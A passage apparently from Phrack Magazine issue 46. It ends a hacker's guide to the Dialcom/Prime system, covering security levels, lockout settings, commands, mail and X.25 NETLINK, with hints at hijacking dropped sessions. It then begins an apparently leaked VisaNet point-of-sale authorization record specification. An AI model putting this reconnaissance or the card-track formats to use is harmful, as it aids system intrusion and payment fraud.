user gets an account from that group (HBT027, HBT054). Each group
also has a group administrator, who controls what each account can
access. The administrator determines which programs (provided by Dialcom)
each user can access. A foreign correspondent for a magazine might
have access to the news services while other users might not. The
administrator also determines how much the user can interface with
the Prime OS itself. Each user can run a few basic commands (list
files, delete, sign off) but above that, it's up to the administrator.
The administrator may opt to remove a user from the controlling menuing
system -- in which case, the user has no restrictions forced upon him.
Group administrators, however, handle only their groups, and not the
Dialcom system. They need, for example, to notify Dialcom staff if
they want an account removed from the system.
Another (different yet combined) part of the account/group security
are accounts' ``security levels'' (seclevs). Seclevs range from 3
to 7, and determine the access an account has to various places.
Seclev 4 users, for example, are not restricted to seeing only users
of their group on the system, and can delete accounts from the menuing
system.
User accounts own their directories and files within (but high seclevs
can read other users' files). Each account's security is left in some
extent to its owner, in that the user sets his own password. When
setting a password, a user can set a secondary password. Any user wishing
to access that user's directory will need that password. Furthermore,
the user can allow other users to attach as owners to his directory if
they know his password (come to think of it, couldn't they just login
as him?). This is all controlled by the PASSWD program (see ``Common
Commands'', below).
Dialcom also allows for login attempt security using the NET_LOCK
program. NET_LOCK blocks login attempts from addresses that have
registered too many login failures over a period of time (the default
being blocking for 10 minutes of addresses that have registered more
than 10 failed login within 5 minutes). NET_LOCK -DISPLAY is accessible
to users of Seclev 5 and shows addresses currently blocked and general
information. Other options are accessible to Seclev 7 and are:
-ON, -OFF, -ATTEMPTS (number of attempts so that NET_LOCK will block
an address), -LOCK_PERIOD (the period in which these attempts must
occur), -LOCK_TIME (time to block), -WINDOW (a time window in which the
lockout feature is disabled).
A little unrelated is the network reconnect feature of the Prime
computers. When a user gets disconnected from the system because
of a network failure, or for any other reason which is not the
system's fault, he can log back in and reconnect into the disconnected
job. When this happens, the user sees, upon logging on:
You Have a Disconnected Job:
HBT007 d09 1 109 NT NETLINK 989898989 6 3
Do You Want to Reconnect?
Which means user's HBT007 job #9 (a NETLINK command) is waiting for
a reconnection. At this point, the user can continue, leaving the
job to hang until the system signs it off when a certain amount of
time expires; sign the job off himself; or reconnect to that job.
(Try "HELP" at the prompt.) This wouldn't be important, but experience
shows that many disconnections occur when someone logs into Dialcom
over a network, and then uses NETLINK (or another program) to connect
to another site over a network, and somewhere, some time, he issues
a control sequence (let's say to tell NETLINK to do something) that
gets processed by the first network, which logs him off. So there
is potential to log into the middle of people's sessions (yeah, like
detached ttys).
Common Commands
~~~~~~~~~~~~~~
Common commands are in reality the basic Prime commands that every
account has access to. Here they are, in alphabetical order.
`CLEAR' Clear the screen.
`DATE' Shows the date at which a command was entered. Output:
>DATE
Proceed to next command
>BAH
Friday, June 38, 1994 10:01:00 AM EDT
`DEL' Deletes a file.
`DELP' Deletes several files based on wildcards. Can verify deletion
of every file, and delete only file modified before, after, or
between certain dates.
`ED' Is the default and simplest file editor on Dialcom (some of its
brothers are JED and FED). Once invoked, ED enters INPUT mode,
in which the user just types text. To enter EDIT mode, where
you can issue commands, you need to press <CR> on a blank line
(the same thing will get you from EDIT mode back to INPUT mode).
The EDIT mode uses a pointer to a line. All commands are carried
on the line that the pointer points to. "T" will bring the
pointer to the top of the text, "B" to the bottom, "N" to the
next line down, "U" to the next line up, and "L <word>" to
the line containing <word>. ED commands include:
P: PRINT the pointer line. P<number> will print <number>
of lines.
C: Change words. The format is "C/old word/new word".
A: Appends words. The format is "A <words>".
R: Retype pointer line. The format is "R <new line>".
SP: Check the spelling of the text, and then point to
the top of the text.
SAVE: Will save the text and exit ED.
Q: Will quit/abort editing and exit ED.
`F' List all file info. Output:
DIALCOM.TXT 001 13/30/94 13:50 ASC D W R
Which means file name "DIALCOM.TXT", size of 1 file blocks,
lat modified on 13/30/94 at 13:50, is an ASC type file, and
the account has the permissions to D(elete), W(rite), and
R(ead) it.
`HELP' (`?') Displays a nicely formatted menu of available commands.
`INFO' System info. INFO <info-file-name> displays an information
file, for example, INFO NETLINK.
"INFO ?" lists info files.
"INFO BRIEF" lists info files grouped by application
"INFO INFO" lists info files with their descriptions.
`L' List all file names. Output:
<S666-6>HBT007 (Owner)
DIALCOM.TXT
`LS' Display information about available segments and the account's
access to them. Output:
2 Private static segments.
segment access
--------------
4000 RWX
4001 RWX
11 Private dynamic segments.
segment access
--------------
4365 RX
4366 RX
4367 RWX
4370 RWX
4371 RX
4372 RWX
4373 RX
4374 RWX
4375 RX
4376 RX
4377 RWX
`NAME' Changes UFD name. Output:
>NAME
Old Name: John Gacy
UFD Name: Herd Beast
All done
>WHO
Herd Beast <S666-6>HBT007
`NETWORK' Accesses a database that contains dial-up number for Sprintnet,
Tymnet, Datapac and Dialcom's Dialnet by State/City.
`OFF' Sign off the system.
`ONLINE' Who's online? The amount of data displayed depends on the
account's seclev. Seclevs below 4 are restricted to seeing
only users of their group. Output:
HBT007 PRK017 MJR
`PAD' Allows you to send commands to an X.29 PAD, these commands
being the SET/SET?/PAR? commands and their parameter/value
pairs.
`PASSWD' Change your password. PASSWD has two forms: a short one,
which just changes the user's password, and a long form,
invoked by PASSWD -LONG, which allows the user to set
a second password for other users accessing his directory,
and also to determine if they can have owner access to
the directory.
`PROTECT' Protects a file (removes permissions from it).
"PROTECT DIALCOM.TXT" will remove all three (D, W, R)
attributes from it. This will result in:
>DEL DIALCOM.TXT
Insufficient access rights. DIALCOM.TXT (DEL:10)
But --
>DELETE DIALCOM.TXT
"DIALCOM.TXT" protected, ok to force delete? y
`SECLEV' Your security level. Output:
Seclev=5
`SIZE' Size information about a file. Output:
1 Block, 404 Words
`STORAGE' Shows storage information.
`SY' Show users on system. (Same restrictions as for ONLINE apply.)
Will show user name, time on, idle time, devices used, current
jobs and state, etc. Output:
41 Users on sys 666
Names use idle mem State command object devs
HBT007 *11 0 155 R1 SY 6 3 from Tymnet via X.25
`SYS' Displays account information and system number. Output:
<S666-6>HBT007 on system 666.
`TERM' Used to tell the Dialcom computer what terminal the user is
using. A list of supported terminals is generated by "TERM
TERMINALS". TERM options are:
TYPE <terminal type> (TYPE VT100)
WIDTH <width> (Terminal width, if different
than default)
TOP (Start listings at top of screen)
PAUSE (Pause listings when screen is
full)
-ERASE, -KILL <char> (Sets the erase or kill character)
-BREAK <ON|OFF> (Enables or disables BREAKs)
-HALF or -FULL (Half duplex of full duplex)
-DISPLAY (Output current terminal information)
`WHO' Displays account information. Output:
<S666-6>HBT007
Which means user HBT007 on system 666 on device 6.
Communicating on Dialcom
~~~~~~~~~~~~~~~~~~~~~~~
Users who want to communicate on Dialcom have two choices, basically.
These are the Dialcom bulletin board and electronic mail. The Dialcom
bulletin board has two versions. The first consists of several message
bases (called ``categories'') which are shared between some Dialcom
systems (and mostly used by bored employees, it seems); there are also
private bulletin boards, which are not shared between the systems. They
belong to account groups, and only users in an account group can access
that group's bulletin board system. These version of the Dialcom board
are often empty (they have no categories defined and hence are unusable).
This is accessed by the command POST (PRPOST for the private board).
Once POST is activated, it will display a prompt:
Send, Read or Purge:
If the answer is READ, POST will ask for a category (a list of categories
will be displayed if you type HELP at that prompt). Once a category
has been joined, you will be able to read through the messages there:
Subject: ?
From: HBT007 Posted: Sat 32-July-94 16:47 Sys 666
quit
/q
/quit
Continue to Next Item?
Answering SEND at the first prompt will allow you to send a message in a
category.
Answering PURGE will allow you to delete messages post by your account.
When you enter PURGE and the category to purge message from, the system
will show you any posts that you are allowed to purge, followed by a
"Disposition:" prompt. Enter DELETE to delete the message.
The second way to communicate is the Dialcom MAIL system. MAIL allows
sending and receiving messages, it allows for mailing lists, filing
mail into categories, holding mail to read later and so on. MAIL is
invoked by entering, uh... oh, yes, MAIL.
It works along similar lines to those of POST, and will display the following
prompt:
Send, Read or Scan:
SEND: Allows you to send a message. It will prompt with "To:",
"Subject:" and "Text:" (where you enter the actual message, followed
by ".SEND" on a blank line to end). After a message is sent, the
"To:" prompt will appear again -- use "QUIT" to leave it.
A word about the "To:" prompt. There are two configuration files which
make its use easier. First the MAIL.REF file, which is really a mailing
list file. It contains entries in the format of --
<Nick> <Accounts>
DOODZ DVR014 ABC0013 XYZ053
-- and at the "To:" prompt, you can just enter "DOODZ" and the message
will be sent to all three accounts. When you enter a name, MAIL searches
through your MAIL.REF, and then through the account administrator's, and
only then parses it as an account name. Second is the mail directory,
which contains the names and account IDs of many users the account is
in contact with. To display it, type "DIS DIR" at the first prompt.
You'll get something like this:
HERD-BEAST 6666:HBT007 WE'RE BAD AND WE'RE KRAD
Which means you can type "HERD-BEAST" at the prompt, and not just
HBT007. Also, there are special options for the "To:" prompt, most
notable are: CC to send a carbon copy; EX to send the message with
``express priority''; DAR to request that if the message is sent
to a user on another Dialcom system, POSTMASTER will send you a
message verifying that your message has been sent; and NOSHOW,
to keep the receiver from seeing everybody else on the "To:" list.
For example (all these people are in the mail directory),
To: DUNKIN D.DREW CC FOLEY NOSHOW EX
You enter the message about to be sent at the "Text:" prompt. That
mode accepts several commands (like .SEND), all of which begin with a
dot. Any command available at the "To:" prompt is available here.
For example, you can add or remove names from to "To:" field using
".TO <ids>" or ".TO -<ids>", and add a CC using ".CC <id>".
You also have a display command, ".DIS". ".DIS" alone shows the text
entered so far; ".DIS TO" shows the "To:" field; ".DIS HE" shows
the entire header; etc. Finally, you have editing option. ".ED" will
load editing mode, so you can change the text you entered. ".LOAD
<filename>" will load <filename> into the text of the message. ".SP"
will check the spelling of text in the message, and there are other
commands.
READ: Allows you to read mail in your mailbox. Once you enter READ,
MAIL will display the header of the first message in your mailbox
(or "No mail at this time") followed by a "--More--" prompt. To
read the message, press <CR>; otherwise, enter NO. After you are done
reading a message, you will be prompted with the "Disposition:" prompt,
where you must determine what to do with the message. There you can enter
several commands: AGAIN to read the message again; AG HE to read the
header again; AP REPLY to reply to the message and append the original
message to the reply; AP FO to forward the message to someone and add
your comments to it; REPLY to reply to the sender of the message; REPLY
ALL to reply to everybody on the "To:" field; FILE to file the message;
SA to save the message into a text file; NEXT to read the next message
in your mailbox; and D to delete the message.
SCAN: Allows you see a summary of the messages in the mailbox. Both
READ and SCAN have options that allow you to filter the messages you
want to read: FR <ids> to get only messages from <ids>; TO <ids> to
get only messages sent to <ids>; 'string' to get only messages containing
``string'' in the "Subject:" field; "string" to get only messages
containing ``string'' in the message itself; FILE CATEGORY to get only
messages filed into ``CATEGORY''; and DA Month/Day/Year to get only messages
in that date (adding a '-' before or after the date will get you everything
before or after that date, and it's also possible to specify two dates
separated by a '-' to get everything between those dates. For example,
to get all of Al Gore's messages about Clipper before August 13th:
READ FILE CLIPPER FR GOR 'Great stuff' DA -8/13/94
There is also a QS (QuickScan) command that behaves the same as SCAN,
only SCAN shows the entire header, and QS just shows the "From:" field.
However, there is more to do here than just send, read or scan.
Some of it was mentioned when explaining these commands. Both sent
and received messages can be saved into a plain text file or into
a special mailbox file, called MAIL.FILE. Messages filed into the
MAIL.FILE can be grouped into categories in that file.
SAVING MESSAGES: Messages are saved by entering "SA filename" at a
prompt. For sent message, it's the "Text:" prompt, while entering the
message, and the command is ".SA", not "SA". For received message, it's
either the "--More--" or the "Disposition:" prompt.
FILING MESSAGES: Messages are filed in two cases. First, the user
can file any message into any directory, and second, the system files
read messages that lay in the mailbox for over 30 days. Received messages
are filed by entering "FILE" at the "Disposition:" prompt. This files
the message into a miscellaneous category called BOX. If an optional
<category-name> is added after "FILE", the message will be filed into
that category. If <category-name> doesn't exist, MAIL can create it
for you. After a message has been filed, it's not removed from the
mailbox -- that's up to the user to do. Sent messages behaved the same
way, but the command is ".FILE" from the "Text:" prompt.
To display categories of filed mail, enter DIS FILES at a prompt. To
read or scan messages in filed, just add "FILE <category-name> after
the command (READ, SCAN, etc). To delete a category, enter D FILE
<category-name>. To delete a single message in a category, just use
D as you would on any other message, after you read it from the
MAIL.FILE.
Connecting via Dialcom
~~~~~~~~~~~~~~~~~~~~~
Dialcom allows its customers to access other systems through it.
There are some services offered specifically through Dialcom, such as
the BRS/MENUS service, which is an electronic library with databases
about many subjects, Telebase's Cyclopean Gateway Service, which offers
access to many online database services (like Newsnet, Dialog and even BRS)
and more. These services have a direct connection to Dialcom and software
that maps Dialcom user ids to their own ids (it's not usually possible for
someone to access one of these services without first connecting to Dialcom).
Another method is general connection to X.25 addresses. Since Dialcom
is connected to X.25, and it allows users to use the Prime NETLINK
commands, it's possible to PAD out of Dialcom!!#!
NETLINK is invoked by entering NETLINK. NETLINK then displays its own,
'@' prompt. The commands available there are QUIT, to quit back to
the OS; CONTINUE, to return to an open connection; CALL, to call an
address; and D, to disconnect an open connection.
CALL takes addresses in several formats. A system name, to connect to
a Dialcom system, or an address in the format of DNIC:NUA. For example,
@ CALL :666
Circuit #1
666 Connected
[...]
@ CALL 3110:21300023
Circuit #2
21300023 Connected
[...]
NETLINK establishes connections in the form of circuits. A circuit can
be broken out of into command mode (the '@' prompt), using "<CR>@<CR>",
and another can be opened, or parameters can be changed, etc.
NETLINK has other commands, to log connections into a file, or set PAD
parameters (SET, PAR), or turn on connection debugging, or change
the default '@' prompt, and more.
Things to Do on Dialcom
~~~~~~~~~~~~~~~~~~~~~~
Much of what Dialcom offers was not covered until now and will not
be covered. That's because most the services could use a file each,
and because many account groups have things enabled or disabled
just for them. Instead, I will write shortly about two of the more
interesting things online, the news service and clipping service,
and add pointers to some interesting commands to try out.
The news service, accessed with the NEWS command, is a database of
newswires from AP, Business Wire, UPI, Reuters and PR Newswire.
The user enters the database, and can search for news by keywords.
After entering NEWS, you will see a menu of all the news agencies.
Once you choose an agency, you will enter its menu, which sometimes
contains a copyright warning and terms of usage and also the list
of news categories available from that agency (National, North America,
Business, Sports, etc). Once you choose the category, you will be
asked for the keyword to search for. If a story (or several stories) was
found containing your desired keyword, you can read through the
stories in the order of time, or the order they appear, or reverse
order and so on, and finally mail a story to yourself, or enter new
search keywords, or jump to another story, or simply quit.
The news clipping service, available with the command NEWSTAB, allows
the user to define keyword-based rules for selecting news clippings.
The system then checks every newswire that passes through it, and if
it matches the rules, mails the newswire to the user.
After entering NEWSTAB, you are presented with a menu that allows you
to show, add, delete, and alter your rules for choosing news. The rules
are made using words or phrases, logical operators, wildcards and
minimal punctuation. A rule can be as simple as "HACKING", which will
get every newswire with the word "hacking" in it mailed to you, or
if you want to be more selective, "NASA HACKING". Logical operators
are either AND or OR. For example, "HACKING AND INTERNET". Wildcards
are either '*' or '?' (both function as the same). They simple replace
any number of letters. Punctuation is permitted for initials,
abbreviations, apostrophes or hyphens, but not for question marks and
similar. All of this is explained in the NEWSTAB service itself.
For the file hungry, Dialcom offers several file transfer programs,
including KERMIT and Dialcom's FT, which implements most popular
protocols, like Zmodem, Xmodem, etc.
A small number of other fun things to try:
NET-TALK The ``interactive computer conferencing system'' -- build
your private IRC!
CRYPTO Dialcom's encryption program. Something they're probably
going to love on sci.crypt.
NUSAGE By far one of the better things to do on Dialcom, it was
left out of this file because it is simply huge. This
program allows the user (typically an administrator) to
monitor network usage, sort the data, store it, peek
into all the little details (virtual connection types,
remote/local addresses, actions, time, commands, etc).
Unfortunately, it's completely beyond the scope of this
file, as there are tons of switches and options to use
in order to put this program to effective use.
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 15 of 28
****************************************************************************
visanetoperations; part1
obtainedandcompiled
by
icejey
/\
lowerfeldafederationforundercasing iiu delamolabz chuchofthenoncomformist
&&
theilluminatibarbershopquartet
greetz2; drdelam maldoror greenparadox kaleidox primalscream reddeath kerryk
-------------------------- [ typed in true(c) 80 columns] ----------------------
---------------------------- [ comments appear in []s ] ------------------------
[ section one ]
[ from the word of god ]
-------------------------------------------------------------
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
| \\\\\ ///// ///// //////////// /////\\\\ |
| \\\\\ ///// ///// ///// ///// \\\\\ |
| \\\\\ ///// ///// /////////// \\\\\\\\\\\\\\ |
| \\\\\/// ///// ///// \\\\\\\\\\\\\\\\ |
| \\\\\/ ///// //////////// ///// \\\\\ |
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
-------------------------------------------------------------
EXTERNAL INTERFACE SPECIFICATION
--------------------------------
SECOND GENERATION
AUTHORIZATION RECORD FORMATS
For Record Formats
--------------------------
J - PS/2000 REPS
G - VisaNet Dial Debit
1.0 INTRODUCTION
2.0 APPLICABLE DOCUMENTS
2.01 RELATED VISA DOCUMENTS FOR AUTHORIZATION
2.02 RELATED VISA DOCUMENTS FOR DATA CAPTURE
3.0 AUTHORIZATION RECORD FORMATS
3.01 REQUEST RECORD FORMAT
3.02 RESPONSE RECORD FORMAT
4.0 REQUEST RECORD DATA ELEMENT DEFINITIONS
4.01 RECORD FORMAT
4.02 APPLICATION TYPE
4.03 MESSAGE DELIMITER
4.04 ACQUIRER BIN
4.05 MERCHANT NUMBER
4.06 STORE NUMBER
4.07 TERMINAL NUMBER
4.08 MERCHANT CATEGORY CODE
4.09 MERCHANT COUNTRY CODE
4.10 MERCHANT CITY CODE
4.11 TIME ZONE DIFFERENTIAL
4.12 AUTHORIZATION TRANSACTION CODE
4.13 TERMINAL IDENTIFICATION NUMBER
4.14 PAYMENT SERVICE INDICATOR
4.15 TRANSACTION SEQUENCE NUMBER
4.16 CARDHOLDER IDENTIFICATION DATA
4.17 ACCOUNT DATA SOURCE
4.18 CUSTOMER DATA FIELD
4.18.1 TRACK 1 READ DATA
4.18.2 TRACK 2 READ DATA
4.18.3 MANUALLY ENTERED ACCOUNT DATA (CREDIT CARD)
4.18.3.1 MANUALLY ENTERED ACCOUNT NUMBER
4.18.3.2 MANUALLY ENTERED EXPIRATION DATE
4.18.4 CHECK ACCEPTANCE IDENTIFICATION NUMBER
4.18.4.1 CHECK ACCEPTANCE ID
4.18.4.2 MANUALLY ENTERED CHECK ACCEPTANCE DATA
4.19 FIELD SEPARATOR
4.20 CARDHOLDER IDENTIFICATION DATA
4.20.1 STATIC KEY WITH TWENTY THREE BYTE CARDHOLDER ID
4.20.2 STATIC KEY WITH THIRTY TWO BYTE CARDHOLDER ID
4.20.3 DUK/PT KEY WITH THIRTY TWO BYTE CARDHOLDER ID
4.20.4 ADDRESS VERIFICATION SERVICE DESCRIPTION [hmmm...]
4.21 FIELD SEPARATOR
4.22 TRANSACTION AMOUNT
4.23 FIELD SEPARATOR
4.24 DEVICE CODE/INDUSTRY CODE
4.25 FIELD SEPARATOR
4.26 ISSUING INSTITUTION ID/RECEIVING INSTITUTION ID
4.27 FIELD SEPARATOR
4.28 SECONDARY AMOUNT (CASHBACK)
4.29 FIELD SEPARATOR
4.30 MERCHANT NAME
4.31 MERCHANT CITY
4.32 MERCHANT STATE
4.33 SHARING GROUP
4.34 FIELD SEPARATOR
4.35 MERCHANT ABA NUMBER
4.36 MERCHANT SETTLEMENT AGENT NUMBER
4.37 FIELD SEPARATOR
4.38 AGENT NUMBER
4.39 CHAIN NUMBER
4.40 BATCH NUMBER
4.41 REIMBURSEMENT ATTRIBUTE
4.42 FIELD SEPARATOR
4.43 APPROVAL CODE
4.44 SETTLEMENT DATE
4.45 LOCAL TRANSACTION DATE
4.46 LOCAL TRANSACTION TIME
4.47 SYSTEM TRACE AUDIT NUMBER
4.48 ORIGINAL AUTHORIZATION TRANSACTION CODE
4.49 NETWORK IDENTIFICATION CODE
4.50 FIELD SEPARATOR
5.0 RESPONSE RECORD DATA ELEMENT DEFINITIONS
5.01 PAYMENT SERVICE INDICATOR
5.02 STORE NUMBER
5.03 TERMINAL NUMBER
5.04 AUTHORIZATION SOURCE CODE
5.05 TRANSACTION SEQUENCE NUMBER
5.06 RESPONSE CODE
5.07 APPROVAL CODE
5.08 LOCAL TRANSACTION DATE
5.09 AUTHORIZATION RESPONSE CODE
5.10 AVS RESULT CODE
5.11 TRANSACTION IDENTIFIER
5.12 FIELD SEPARATOR
5.13 VALIDATION CODE
5.14 FIELD SEPARATOR
5.15 NETWORK IDENTIFICATION CODE
5.16 SETTLEMENT DATE
5.17 SYSTEM TRACE AUDIT NUMBER
5.18 RETRIEVAL REFERENCE NUMBER
5.19 LOCAL TRANSACTION TIME
6.0 CONFIRMATION RECORD DATA ELEMENT DEFINITIONS
6.01 NETWORK IDENTIFICATION CODE
6.02 SETTLEMENT DATE
6.03 SYSTEM TRACE AUDIT NUMBER
7.0 CHARACTER CODE DEFINITIONS
7.01 TRACK 1 CHARACTER DEFINITION
7.02 TRACK 2 CHARACTER DEFINITION
7.03 AUTHORIZATION MESSAGE CHARACTER SET
7.04 CHARACTER CONVERSION SUMMARY
7.05 ACCOUNT DATA LUHN CHECK
7.06 CALCULATING AN LRC
7.07 TEST DATA FOR RECORD FORMAT "J"
7.07.1 TEST DATA FOR A FORMAT "J" AUTHORIZATION REQUEST
7.07.2 RESPONSE MESSAGE FOR TEST DATA
-------------------------------------------------------------------------------
1.0 INTRODUCTION
This document describes the request and response record formats for the VisaNet
second generation Point-Of-Sale (POS) authorization terminals and VisaNet
Authorization services. This document describes only record formats. Other
documents describe communication protocols and POS equipment processing
requirements. Figure 1.0 represents the authorization request which is
transmitted to VisaNet using public communication services and the
authorization response returned by VisaNet. Debit transactions include a
third confirmation message.
POS DEVICE VISANET
---------- -------
AUTHORIZATION
REQUEST
| TRANSMITTED TO A
|----------> VISANET AUTHORIZATION
AUTHORIZATION RESPONSE
HOST SYSTEM |
|
RETURNED BY THE |
VISANET HOST TO <--------|
THE POS TERMINAL
DEBIT RESPONSE
CONFIRMATION--------------->TRANSMITTED TO
HOST SYSTEM
FIGURE 1.0
Authorization request and response.
This document describes the record formats to be used for the development of
new applications. Current formats or transition formats will be provided on
request. The usage of some fields have changed with the new record formats.
Applications which were developed to previous specifications will continue to
be supported by VisaNet services. The new formats and field usage is provided
with the intention of moving all new applications developed to the new formats.
2.0 APPLICABLE DOCUMENTS
The following documents provide additional definitions and background.
2.01 RELATED VISA DOCUMENTS FOR AUTHORIZATION
1. EIS1051 - External Interface Specification
Second Generation
Authorization Link Level Protocol
2.02 RELATED VISA DOCUMENTS FOR DATA CAPTURE
1. EIS1081 - External Interface Specification
Second Generation
Data Capture Record Formats
2. EIS1052 - External Interface Specification
Second Generation
Data Capture Link Level Protocol
3.0 AUTHORIZATION RECORD FORMATS
This section contains the record formats for the authorization request,
response and confirmation records. The ANSI X3.4 character set is used to
represent all record data elements. (See Section 7)
In the record formats on the following pages, the column heading FORMAT is
defined as:
"NUM" represents numeric data, the numbers 0 through 9, NO SPACES.
"A/N" represents alphanumeric data, the printing character set.
"FS" represents a field separator character as defined in ANSI X3.4 as
a "1C" hex
3.01 REQUEST RECORD FORMAT
Table 3.01b provides the record format for the authorization request records.
Section 4 provides the data element definitions.
The authorization request record is a variable length record. The record
length will depend on the source of the customer data and the type of
authorization request. Refer to Table 3.01c to determine which GROUPS to use
from Table 3.01a
TABLE 3.01a IS PROVIDED FOR REFERENCE REASONS ONLY. ALL NEW APPLICATIONS
SHOULD USE ONE OF THE FOLLOWING RECORD FORMATS:
RECORD | APPLICATION |
FORMAT | TYPE | REMARKS
-------------------------------------------------------------------------------
J | CREDIT | All non-ATM card transactions (Visa cards, other credit
| | cards, private label credit cards and check guarantee)
G | DIAL DEBIT | Visa supported ATM debit cards
The selection of format type J and G or any other value from Table 3.01a will
depend on the VisaNet services that are desired. Contact your Visa POS member
support representative for assistance in determining the required formats.
TABLE 3.01a
Record Format Summary
Non-CVV CVV Terminal
Compliant Compliant Generation Description
-------------------------------------------------------------------------------
0 RESERVED
1 N First Vutran
2 8 First Sweda
4 R First Verifone
6 P First Amex
7 3 First Racal
A Q First DMC
B R First GTE & Omron [velly intelestink]
C 9 First Taltek
S U First Datatrol - Standard Oil
D T First Datatrol
E RESERVED
5 F Second Non-REPS-Phase 1 CVV
G Second Dial Debit
H Second Non-REPS-Phase 2 CVV
I Second RESERVED - Non-REPS Controller
J Second REPS - Terminal & Controller
K Second RESERVED
L Second RESERVED - Leased VAP
M Second RESERVED - Member Format
N-O RESERVED
V-Y RESERVED
Z Second RESERVED - SDLC Direct [hmmm]
-------------------------------------------------------------------------------
TABLE 3.01b
Second Generation Authorization Request Record Format
see
Group Byte# Length Format Name section
-------------------------------------------------------------------------------
1 1 A/N Record Format 4.01
2 1 A/N Application Type 4.02
3 1 A/N Message Delimiter 4.03
4-9 6 NUM Acquirer Bin 4.04
10-21 12 NUM Merchant Number 4.05
22-25 4 NUM Store Number 4.06
26-29 4 NUM Terminal Number 4.07
30-33 4 NUM Merchant Category Code 4.08
34-36 3 NUM Merchant Country Code 4.09
37-41 5 A/N Merchant City Code (ZIP in the U.S.) 4.10
42-44 3 NUM Time Zone Differential 4.11
45-46 2 A/N Authorization Transaction Code 4.12
47-54 8 NUM Terminal Identification Number 4.13
55 1 A/N Payment Service Indicator 4.14
56-59 4 NUM Transaction Sequence Number 4.15
60 1 A/N Cardholder Identification Code 4.16
61 1 A/N Account Data Field 4.17
Variable 1-76 Customer Data Field 4.18.x
(See: DEFINITIONS in Table 3.01d)
Variable 1 "FS" Field Separator 4.19
Variable 0-32 A/N Cardholder Identification Data 4.20
Variable 1 "FS" Field Separator 4.21
Variable 3-12 NUM Transaction Amount 4.22
Variable 1 "FS" Field Separator 4.23
Variable 2 A/N Device Code/Industry Code 4.24
Variable 1 "FS" Field Separator 4.25
Variable 0-6 NUM Issuing/Receiving Institution ID 4.26
I Variable 1 "FS" Field Separator 4.27
Variable 3-12 NUM Secondary Amount (Cashback) 4.28
II Variable 1 "FS" Field Separator 4.29
Variable 25 A/N Merchant Name 4.30
Variable 13 A/N Merchant City 4.31
Variable 2 A/N Merchant State 4.33
Variable 1-14 A/N Sharing Group 4.33
Variable 1 "FS" Field Separator 4.34
Variable 0-12 NUM Merchant ABA 4.35
Variable 0-4 NUM Merchant Settlement Agent Number 4.36
Variable 1 "FS" Field Separator 4.37
Variable 6 NUM Agent Number 4.38
Variable 6 NUM Chain Number 4.39
Variable 3 NUM Batch Number 4.40
Variable 1 A/N Reimbursement Attribute 4.41
III Variable 1 "FS" Field Separator 4.42
Variable 6 A/N Approval Code 4.43
Variable 4 NUM Settlement Date (MMDD) 4.44
Variable 4 NUM Local Transaction Date (MMDD) 4.45
Variable 6 NUM Local Transaction Time (HHMMSS) 4.46
Variable 6 A/N System Trace Audit Number 4.47
Variable 2 A/N Original Auth. Transaction Code 4.48
Variable 1 A/N Network Identification Code 4.49
IV Variable 1 "FS" Field Separator 4.50
NOTE: The maximum length request can be as long as 290 bytes for an Interlink
Debit Cancel request (including the STX/ETX/LRC). Since some terminals may be
limited to a 256 byte message buffer, the following tips can save up to 36
bytes:
- Limit fields 4.22 and 4.28 to 7 digits
- Fields 4.26, 4.35 and 4.36 are not required for a debit request
- Field 4.33 can be limited to 10 bytes
TABLE 3.01C
Legend for GROUP (from Table 3.01b)
FOR THESE TRANSACTIONS, USE--------------------------------->GROUPS RECORD
I II III IV FORMAT
Check guarantee X J
Non-ATM card transactions (Visa cards, other X X J
credit cards, private label credit cards
Visa supported ATM debit cards: Purchase, Return X X X G
and Inquiry Request
Visa supported ATM debit cards: Interlink Cancel X X X X G
Request
TABLE 3.01d
Definitions for Customer Data Field (from Table 3.01b)
Length Format Field Name See
Section
MAGNETICALLY read credit cards (SELECT ONE):
up to 76 A/N Track 1 Read Data 4.18.1
up to 37 NUM Track 2 Read Data 4.18.2
MANUALLY entered credit cards:
up to 28 NUM Manually Entered Account Number 4.18.3.1
1 "FS" Field Separator
4 NUM Manually Entered Expiration Date (MMYY) 4.18.3.2
MACHINE read and MANUALLY entered check acceptance requests:
1 to 28 A/N Check Acceptance ID 4.18.4.1
1 "FS" Field Separator 4.18.4.2
3 to 6 A/N Manually Entered Check Acceptance Data 4.18.4.2
MAGNETICALLY read ATM debit cards:
up to 37 NUM Track 2 Read Data 4.18.2
3.02 RESPONSE RECORD FORMAT
Table 3.02a provides the record format for the authorization response records.
Section 5 provides the data element definitions.
The authorization response record is variable length for record formats "J" &
"G". Refer to Table 3.02b to determine which GROUPS to use from Table 3.02a.
Table 3.02a
Second Generation Authorization Response Record
see
Group Byte# Length Format Name section
--------------------------------------------------------------------------------
1 1 A/N Payment Service Indicator 5.01
2-5 4 NUM Store Number 5.02
6-9 4 NUM Terminal Number 5.03
10 1 A/N Authorization Source Code 5.04
11-14 4 NUM Transaction Sequence Number 5.05
15-16 2 A/N Response Code 5.06
17-22 6 A/N Approval Code 5.07
23-28 6 NUM Local Transaction Date (MMDDYY) 5.08
29-44 16 A/N Authorization Response Message 5.09
45 1 A/N AVS Result Code 5.10
Variable 0/15 NUM Transaction Identifier 5.11
Variable 1 "FS" Field Separator 5.12
Variable 0/4 A/N Validation Code 5.13
I Variable 1 "FS" Field Separator 5.14
Variable 1 A/N Network Identification Code 5.15
Variable 4 NUM Settlement Date (MMDD) 5.16
Variable 6 A/N System Trace Audit Number 5.17
Variable 12 A/N Retrieval Reference Number 5.18
II Variable 6 NUM Local Transaction Time (HHMMSS) 5.19
Table 3.02b
Legend for GROUP (from Table 3.02a)
FOR THESE TRANSACTIONS, USE--------------------------------->GROUPS RECORD
I II FORMAT
All non-ATM card transactions (Visa cards, other credit X J
cards, private label credit cards and check guarantee)
Visa supported ATM debit cards: Purchase, Return, Inquiry X X G
Request and Interlink Cancel Request
3.03 CONFIRMATION RECORD FORMAT (ATM DEBIT ONLY)
Table 3.03 provides the record format for the second generation debit response
confirmation record. Section 6 provides the data element definitions.
The debit response confirmation record is a fixed length record.
TABLE 3.03
Second Generation Debit Response Confirmation Record
see
Group Byte# Length Format Name section
--------------------------------------------------------------------------------
